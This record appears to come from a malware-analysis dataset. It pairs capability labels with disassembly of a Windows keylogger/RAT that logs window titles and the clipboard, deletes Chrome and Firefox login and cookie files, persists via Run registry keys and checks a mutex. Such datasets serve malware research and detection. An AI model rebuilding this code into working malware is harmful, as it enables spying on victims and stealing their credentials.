joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009906
Capabilities:
Check if file exists
Create directory
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x464
push ebx
mov ebx, ecx
push esi
push edi
lea esi, [ebx + 4]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, ebx
call fcn.10009855
mov edx, 0x10061d80
mov ecx, esi
call fcn.10007f1b
test al, al
je 0x10009b10
mov ecx, 0x10071150
call fcn.10007ceb
test al, al
jne 0x10009961
push 0
mov ecx, 0x10071150
call fcn.10001e24
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edi, [ebx + 0x68]
mov ecx, edi
call fcn.10001e24
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 2
je 0x10009989
push 0x80
mov ecx, edi
call fcn.10001e24
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x12
mov ecx, 0x100710c4
call fcn.10001d7e
mov ecx, eax
call fcn.10001eae
cmp byte [eax], 0
jne 0x100099d1
push 1
mov ecx, edi
call fcn.10001e24
push eax
mov ecx, esi
call fcn.10002329
mov esi, eax
lea ecx, [ebx + 4]
add esi, esi
call fcn.10001e24
mov edx, esi
mov ecx, eax
call fcn.1001927b
pop ecx
pop ecx
lea esi, [ebx + 4]
jmp 0x10009adc
lea ecx, [esp + 0x10]
call fcn.10001fd4
mov ecx, 0x10071318
call fcn.10002329
push eax
mov ecx, 0x10071318
call fcn.10001eae
push eax
lea ecx, [esp + 0x78]
call fcn.10005f0f
mov ecx, edi
call fcn.10001e24
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x10009a68
lea ecx, [esp + 0x28]
call fcn.10001fd4
mov ecx, edi
call fcn.10001e24
lea edx, [esp + 0x28]
mov ecx, eax
call fcn.10019305
test al, al
je 0x10009a5f
lea ecx, [esp + 0x28]
call fcn.10002329
push eax
lea ecx, [esp + 0x2c]
call fcn.10001eae
push eax
lea eax, [esp + 0x48]
push eax
lea ecx, [esp + 0x7c]
call fcn.10006035
push eax
lea ecx, [esp + 0x14]
call fcn.10001f14
lea ecx, [esp + 0x40]
call fcn.10001f0f
lea ecx, [esp + 0x28]
call fcn.10001f0f
mov ecx, esi
call fcn.10002329
add eax, eax
mov ecx, esi
push eax
call fcn.10001e24
push eax
lea ecx, [esp + 0x48]
call fcn.10001fae
push eax
lea ecx, [esp + 0x14]
call fcn.10002f6f
lea ecx, [esp + 0x40]
call fcn.10001f0f
lea ecx, [esp + 0x10]
call fcn.10002329
push eax
lea ecx, [esp + 0x14]
call fcn.10001eae
push eax
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x7c]
call fcn.10006035
mov ecx, edi
call fcn.10001e24
mov edx, eax
lea ecx, [esp + 0x58]
call fcn.10019375
lea ecx, [esp + 0x58]
call fcn.10001f0f
lea ecx, [esp + 0x10]
call fcn.10001f0f
push 0x10061d80
mov ecx, esi
call fcn.10007c85
push 0x13
mov ecx, 0x100710c4
call fcn.10001d7e
mov ecx, eax
call fcn.10001eae
cmp byte [eax], 0
je 0x10009b10
push 6
mov ecx, edi
call fcn.10001e24
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp byte [ebx + 0x49], 0
jne 0x1000991a
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10009eb4
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x74
push ebx
push esi
push edi
mov edi, ecx
cmp byte [edi + 0x49], 0
jne 0x10009ed2
cmp byte [edi + 0x4a], 0
je 0x1000a0cf
mov eax, dword [0x1006dd5c]
mov ecx, dword fs:[0x2c]
mov ecx, dword [ecx + eax*4]
mov eax, dword [0x10072cd0]
cmp eax, dword [ecx + 4]
jle 0x10009f23
push 0x10072cd0
call fcn.1003061c
cmp dword [0x10072cd0], 0xffffffff
pop ecx
jne 0x10009f23
mov ecx, 0x10072cd4
call fcn.10001e6f
push 0x10053682
call fcn.10030a71
mov dword [esp], 0x10072cd0
call fcn.100305d2
pop ecx
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebx, eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, eax
push 0
lea ecx, [esi + 1]
push ecx
lea ecx, [esp + 0x28]
call fcn.1000aafa
test esi, esi
je 0x10009ffa
lea ecx, [esp + 0x20]
call fcn.10002329
push eax
lea ecx, [esp + 0x24]
call fcn.10001e24
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov edx, 0x10072cd4
lea ecx, [esp + 0x20]
call fcn.1000ac04
test al, al
jne 0x10009ffa
lea eax, [esp + 0x20]
mov ecx, 0x10072cd4
push eax
call fcn.1000aaca
push 0
lea ecx, [esp + 0x24]
call fcn.10002329
dec eax
lea ecx, [esp + 0x24]
push eax
call fcn.10007c50
sub esp, 0x18
lea eax, [esp + 0x38]
cmp byte [0x1007111b], 0
je 0x10009fc9
mov ecx, esp
push eax
call fcn.10007c8e
mov ecx, edi
call fcn.1000a33d
jmp 0x10009ffa
mov esi, esp
lea ecx, [esp + 0x50]
push 0x10061ef0
push eax
mov edx, 0x10061ef8
call fcn.1000abb2
pop ecx
mov edx, eax
mov ecx, esi
call fcn.10002936
pop ecx
mov ecx, edi
call fcn.10009815
lea ecx, [esp + 0x38]
call fcn.10001e30
mov ecx, edi
call fcn.1000a921
call fcn.100188f6
mov esi, 0xea60
cmp eax, esi
jb 0x1000a0b8
mov ebx, dword [esp + 0x10]
cmp byte [edi + 0x49], 0
jne 0x1000a027
cmp byte [edi + 0x4a], 0
je 0x1000a0c6
call fcn.100188f6
cmp eax, esi
jb 0x1000a043
mov ebx, eax
push 0x3e8
mov dword [esp + 0x14], ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000a017
push 0xa
lea eax, [esp + 0x18]
xor edx, edx
push eax
mov eax, ebx
div esi
push eax
call fcn.1003d460
sub esp, 0xc
lea eax, [esp + 0x2c]
mov esi, esp
lea ecx, [esp + 0x80]
push str._minutes__r_n
push eax
call fcn.10001f8b
push eax
mov edx, str._r_n_User_has_been_idle_for
lea ecx, [esp + 0x70]
call fcn.10004cc7
pop ecx
mov edx, eax
lea ecx, [esp + 0x54]
call fcn.10005cc1
pop ecx
mov edx, eax
mov ecx, esi
call fcn.10018a5e
mov ecx, edi
call fcn.10009815
lea ecx, [esp + 0x38]
call fcn.10001f0f
lea ecx, [esp + 0x50]
call fcn.10001f0f
lea ecx, [esp + 0x68]
call fcn.10001f0f
lea ecx, [esp + 0x20]
call fcn.10001e30
jmp 0x10009ec2
lea ecx, [esp + 0x20]
call fcn.10001e30
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a0d8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x4a], 0
jne 0x1000a172
mov edi, str.Online_Keylogger_Started
mov byte [esi + 0x4a], 1
push edi
lea ecx, [ebp - 0x18]
call fcn.10001f8b
sub esp, 0x18
lea edx, [ebp - 0x18]
mov ecx, esp
call fcn.10018a5e
mov ecx, esi
call fcn.1000a33d
lea ecx, [ebp - 0x18]
call fcn.10001f0f
sub esp, 0x18
mov ecx, esp
push edi
call fcn.10001f8b
sub esp, 0x18
mov ecx, esp
push 0x10061b24
call fcn.10001f8b
call fcn.100183fa
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
xor ebx, ebx
add esp, 0x30
cmp byte [esi + 0x49], bl
jne 0x1000a166
cmp dword [esi], ebx
jne 0x1000a15a
push ebx
push ebx
push esi
push 0x10009441
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x1000946b
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x1000947a
push ebx
push ebx
call edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000a8e5
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push esi
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1000a90c
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
call dword [sym.imp.USER32.dll_CloseClipboard]
test esi, esi
je 0x1000a90c
push esi
jmp 0x1000a911
push 0x10061d80
mov ecx, dword [ebp + 8]
call fcn.10003b7e
mov eax, dword [ebp + 8]
pop esi
pop ebp
ret 4

Function at 0x1000aa8a
Capabilities:
Delete directory
Delete file
Terminate thread

Disassembly:
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push ebx
push 0x1000945c
mov byte [esi + 0x49], bl
call dword [sym.imp.KERNEL32.dll_TerminateThread]
cmp dword [esi], ebx
je 0x1000aab9
push dword [esi]
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push ebx
push 0x10009441
mov dword [esi], ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, esi
pop esi
pop ebx
jmp fcn.1000aa47

Function at 0x1000acea
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultLogin_Data
push 0x100621b4
call fcn.10037dca
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.10001f8b
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.10005cc1
pop ecx
lea ecx, [ebp - 0x30]
call fcn.10001f0f
lea ecx, [ebp - 0x18]
call fcn.10001eae
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x1000ad51
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0x1000ad45
sub eax, 1
je 0x1000ad45
xor bl, bl
jmp 0x1000ad6a
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_not_found_
jmp 0x1000ad5b
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_found__cleared__
call fcn.10001f8b
call fcn.1000b4dd
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.10001f0f
mov al, bl
pop ebx
leave
ret
Function at 0x1000ad77
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultCookies
push 0x100621b4
call fcn.10037dca
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.10001f8b
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.10005cc1
pop ecx
lea ecx, [ebp - 0x30]
call fcn.10001f0f
lea ecx, [ebp - 0x18]
call fcn.10001eae
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x1000adde
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0x1000add2
sub eax, 1
je 0x1000add2
xor bl, bl
jmp 0x1000adf7
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_not_found_
jmp 0x1000ade8
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_found__cleared__
call fcn.10001f8b
call fcn.1000b4dd
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.10001f0f
mov al, bl
pop ebx
leave
ret
Function at 0x1000ae04
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
lea ecx, [ebp - 0x60]
push esi
call fcn.10001fd4
lea ecx, [ebp - 0x48]
call fcn.10001fd4
lea ecx, [ebp - 0x18]
call fcn.10001fd4
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x78]
call fcn.10001f8b
push eax
push 0x100621b4
call fcn.10037dca
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.10004cc7
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.10001f14
lea ecx, [ebp - 0x30]
call fcn.10001f0f
lea ecx, [ebp - 0x78]
call fcn.10001f0f
lea eax, [ebp - 0x1d0]
push eax
push 0x10062174
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.10007f6e
pop ecx
mov ecx, eax
call fcn.10001eae
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x78]
mov esi, eax
call fcn.10001f0f
cmp esi, 0xffffffff
jne 0x1000afcc
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_not_found_
call fcn.10001f8b
call fcn.1000b4dd
add esp, 0x18
jmp 0x1000b000
test byte [ebp - 0x1d0], 0x10
je 0x1000afcc
lea ecx, [ebp - 0x1a4]
cmp byte [ecx], 0x2e
jne 0x1000aee3
movzx eax, byte [ecx + 1]
test al, al
je 0x1000afcc
lea edx, [ebp - 0x1a4]
xor ecx, ecx
movzx eax, byte [edx + ecx]
mov edx, 0x100622d4
cmp al, byte [edx + ecx]
lea edx, [ebp - 0x1a4]
jne 0x1000af09
inc ecx
cmp ecx, 3
jne 0x1000aeeb
xor eax, eax
jmp 0x1000af0e
sbb eax, eax
or eax, 1
test eax, eax
je 0x1000afcc
lea eax, [ebp - 0x1a4]
push str.logins.json
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x90]
call fcn.10007f6e
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.10005cc1
pop ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.10001f14
lea ecx, [ebp - 0x30]
call fcn.10001f0f
lea ecx, [ebp - 0x90]
call fcn.10001f0f
lea eax, [ebp - 0x1a4]
push str.key3.db
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.10007f6e
pop ecx
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.10005cc1
pop ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.10001f14
lea ecx, [ebp - 0x90]
call fcn.10001f0f
lea ecx, [ebp - 0x30]
call fcn.10001f0f
lea ecx, [ebp - 0x60]
call fcn.10001eae
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x1000afb3
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x48]
call fcn.10001eae
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x1000afcc
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x1d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1000aebf
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_Cleared__
call fcn.10001f8b
call fcn.1000b4dd
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x18]
call fcn.10001f0f
lea ecx, [ebp - 0x48]
call fcn.10001f0f
lea ecx, [ebp - 0x60]
call fcn.10001f0f
mov al, 1
pop esi
leave
ret
Function at 0x1000b01d
Capabilities:
Delete file
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
lea ecx, [ebp - 0x30]
push ebx
push esi
call fcn.10001fd4
lea ecx, [ebp - 0x18]
call fcn.10001fd4
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x60]
call fcn.10001f8b
push eax
push 0x100621b4
call fcn.10037dca
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.10004cc7
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.10001f14
lea ecx, [ebp - 0x48]
call fcn.10001f0f
lea ecx, [ebp - 0x60]
call fcn.10001f0f
lea eax, [ebp - 0x1b8]
push eax
push 0x10062174
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.10007f6e
pop ecx
mov ecx, eax
call fcn.10001eae
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.10001f0f
cmp esi, 0xffffffff
jne 0x1000b0cd
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.10001f8b
call fcn.1000b4dd
add esp, 0x18
jmp 0x1000b1c7
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x1000b1a9
xor ebx, ebx
test byte [ebp - 0x1b8], 0x10
je 0x1000b193
lea ecx, [ebp - 0x18c]
cmp byte [ecx], 0x2e
jne 0x1000b109
movzx eax, byte [ecx + 1]
test al, al
je 0x1000b193
lea edx, [ebp - 0x18c]
mov ecx, ebx
movzx eax, byte [edx + ecx]
mov edx, 0x100622d4
cmp al, byte [edx + ecx]
lea edx, [ebp - 0x18c]
jne 0x1000b12f
inc ecx
cmp ecx, 3
jne 0x1000b111
mov eax, ebx
jmp 0x1000b134
sbb eax, eax
or eax, 1
test eax, eax
je 0x1000b193
lea eax, [ebp - 0x18c]
push str.cookies.sqlite
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.10007f6e
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.10005cc1
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.10001f14
lea ecx, [ebp - 0x48]
call fcn.10001f0f
lea ecx, [ebp - 0x78]
call fcn.10001f0f
lea ecx, [ebp - 0x30]
call fcn.10001eae
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x1000b1e8
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
jne 0x1000b1df
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1000b0e5
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.10001f8b
call fcn.1000b4dd
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov bl, 1
lea ecx, [ebp - 0x18]
call fcn.10001f0f
lea ecx, [ebp - 0x30]
call fcn.10001f0f
pop esi
mov al, bl
pop ebx
leave
ret
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x1000b1c9
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_cookies_found__cleared__
jmp 0x1000b0bb
Function at 0x1000b1f7
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
lea ecx, [ebp - 0x18]
push ebx
push esi
call fcn.10001fd4
push ecx
push str.Cookies
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
mov edx, connect
lea ecx, [ebp - 0x30]
xor bl, bl
call fcn.10010442
add esp, 0xc
lea ecx, [ebp - 0x18]
push eax
call fcn.10001f14
lea ecx, [ebp - 0x30]
call fcn.10001f0f
mov edx, 0x10061c24
lea ecx, [ebp - 0x18]
call fcn.10005465
test al, al
je 0x1000b264
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_not_found_
call fcn.10001f8b
call fcn.1000b4dd
mov bl, 1
jmp 0x1000b302
push 0x104
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x18]
call fcn.10001eae
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x1000b249
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x30]
call fcn.10001f8b
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x48]
call fcn.10018a5e
mov ecx, eax
call fcn.10001e24
mov ecx, eax
call fcn.10019087
lea ecx, [ebp - 0x48]
mov esi, eax
call fcn.10001e30
lea ecx, [ebp - 0x30]
call fcn.10001f0f
test esi, esi
je 0x1000b2dd
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_cleared__
jmp 0x1000b253
push ecx
push 0x100623f0
call fcn.1000b501
test eax, eax
je 0x1000b305
sub esp, 0x18
mov bl, 1
mov ecx, esp
push str._n_IE_cookies_cleared__
call fcn.10001f8b
call fcn.1000b4dd
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.10001f0f
pop esi
mov al, bl
pop ebx
leave
ret

Function at 0x1000b469
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
imul eax, edx, 0xea60
push ebx
push esi
xor esi, esi
mov byte [0x1006eb2f], cl
push edi
mov dword [0x1006eb44], eax
test cl, cl
je 0x1000b4c6
mov edi, 0x10062448
mov dword [ebp - 4], esi
mov ebx, 0x100712d0
push edi
mov ecx, ebx
call fcn.10001eae
mov edx, eax
call fcn.1001039d
pop ecx
test al, al
je 0x1000b4c6
lea eax, [ebp - 4]
mov ecx, ebx
push eax
push edi
call fcn.10001eae
mov edx, eax
call fcn.100103e6
pop ecx
pop ecx
cmp dword [ebp - 4], esi
je 0x1000b4c6
xor al, al
jmp 0x1000b4d8
push esi
push esi
push esi
push 0x1000b313
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000b68c
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp byte [0x1006eb55], 1
push ebx
mov bh, byte [0x1006eb4b]
mov bl, byte [0x1006eb4a]
push esi
push edi
mov edi, 0x100619f4
jne 0x1000b6ec
sub esp, 0x1c
lea ecx, [ebp - 0x1c]
mov esi, esp
mov edx, edi
push edi
push 0x100712b8
call fcn.1000abb2
pop ecx
mov edx, eax
mov ecx, esi
call fcn.10002936
pop ecx
push dword [ebp + 0xc]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ecx, connect
call fcn.100106a9
add esp, 0x20
lea ecx, [ebp - 0x1c]
call fcn.10001e30
cmp bl, 1
jne 0x1000b72e
sub esp, 0x1c
lea ecx, [ebp - 0x1c]
mov esi, esp
mov edx, edi
push edi
push 0x100712b8
call fcn.1000abb2
pop ecx
mov edx, eax
mov ecx, esi
call fcn.10002936
pop ecx
push dword [ebp + 0xc]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ecx, connect
call fcn.100106a9
add esp, 0x20
lea ecx, [ebp - 0x1c]
call fcn.10001e30
cmp bh, 1
jne 0x1000b770
sub esp, 0x1c
lea ecx, [ebp - 0x1c]
mov esi, esp
mov edx, edi
push edi
push 0x100712b8
call fcn.1000abb2
pop ecx
mov edx, eax
mov ecx, esi
call fcn.10002936
pop ecx
push dword [ebp + 0xc]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
mov ecx, connect
call fcn.100106a9
add esp, 0x20
lea ecx, [ebp - 0x1c]
call fcn.10001e30
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000b775
Capabilities:
Check mutex on windows

Disassembly:
mov ecx, 0x10071300
call fcn.10001eae
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
setne cl
mov eax, ecx
ret

Function at 0x1000c79e
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub dword [ebp + 0xc], 1
jne 0x1000c7bb
xor eax, eax
push eax
push eax
push dword [ebp + 8]
push 0x1000c7c2
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc eax
pop ebp
ret 0xc
Function at 0x1000d071
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x380
push esi
push edi
mov edi, ecx
call fcn.10001fd4
call fcn.10018d4f
push 0
push 2
mov byte [0x10070ad4], al
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x1000d24f
lea eax, [ebp - 0x380]
mov dword [ebp - 0x380], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x1000d232
lea eax, [ebp - 0x35c]
push eax
lea ecx, [ebp - 0x18]
call fcn.10003b7e
mov ecx, dword [ebp - 0x378]
push 0x10062748
call fcn.10018d7b
movzx edx, al
lea ecx, [ebp - 0x150]
call fcn.1001899c
mov edx, dword [ebp - 0x378]
lea ecx, [ebp - 0x138]
push eax
push 0x1006274c
call fcn.1001899c
mov edx, dword [ebp - 0x378]
lea ecx, [ebp - 0x120]
push eax
push 0x1006274c
call fcn.10018f8d
mov edx, eax
lea ecx, [ebp - 0x108]
call fcn.10018b1c
push eax
push 0x1006274c
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0xf0]
call fcn.10018b1c
push eax
mov edx, edi
lea ecx, [ebp - 0xd8]
call fcn.10005c9d
pop ecx
mov edx, eax
lea ecx, [ebp - 0xc0]
call fcn.10005cc1
pop ecx
mov edx, eax
lea ecx, [ebp - 0xa8]
call fcn.100027a9
pop ecx
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.10005cc1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.100027a9
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.10005cc1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.100027a9
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.10005cc1
pop ecx
push eax
mov ecx, edi
call fcn.10001f14
lea ecx, [ebp - 0x30]
call fcn.10001f0f
lea ecx, [ebp - 0x48]
call fcn.10001f0f
lea ecx, [ebp - 0x60]
call fcn.10001f0f
lea ecx, [ebp - 0x78]
call fcn.10001f0f
lea ecx, [ebp - 0x90]
call fcn.10001f0f
lea ecx, [ebp - 0xa8]
call fcn.10001f0f
lea ecx, [ebp - 0xc0]
call fcn.10001f0f
lea ecx, [ebp - 0xd8]
call fcn.10001f0f
lea ecx, [ebp - 0xf0]
call fcn.10001f0f
lea ecx, [ebp - 0x108]
call fcn.10001f0f
lea ecx, [ebp - 0x120]
call fcn.10001e30
lea ecx, [ebp - 0x138]
call fcn.10001f0f
lea ecx, [ebp - 0x150]
call fcn.10001f0f
lea ecx, [ebp - 0x18]
call fcn.10001e30
lea eax, [ebp - 0x380]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1000d0be
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x1000e067
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push esi
push edi
mov edi, ecx
cmp dword [edi + 0x38], 0
je 0x1000e0ff
cmp byte [edi + 0x3d], 0
je 0x1000e0ff
call fcn.10002718
mov edx, dword [edi]
mov esi, eax
push esi
mov ecx, edi
call dword [edx + 0xc]
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
push eax
call fcn.1000bce1
pop ecx
pop ecx
test al, al
jne 0x1000e0d1
mov ecx, dword [edi + 0x38]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [edi + 0x40]
push eax
call fcn.1000c086
sub eax, 0
je 0x1000e0d5
sub eax, 1
je 0x1000e0d9
dec eax
sub eax, 1
je 0x1000e0ff
xor al, al
jmp 0x1000e101
mov byte [edi + 0x3d], 0
mov esi, dword [ebp - 0xc]
lea eax, [ebp - 0x2c]
sub esi, eax
je 0x1000e0f6
push dword [edi + 0x4c]
push esi
push 1
push eax
call fcn.10038b6d
add esp, 0x10
cmp esi, eax
jne 0x1000e0d1
cmp byte [edi + 0x3d], 0
sete al
jmp 0x1000e101
mov al, 1
pop edi
pop esi
leave
ret
Function at 0x1000f818
Capabilities:
Terminate process

Disassembly:
push ebx
push 0
push dword [0x1006ed7c]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0xffffffffffffffff
push dword [0x1006ed7c]
test eax, eax
setne bl
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov al, bl
pop ebx
ret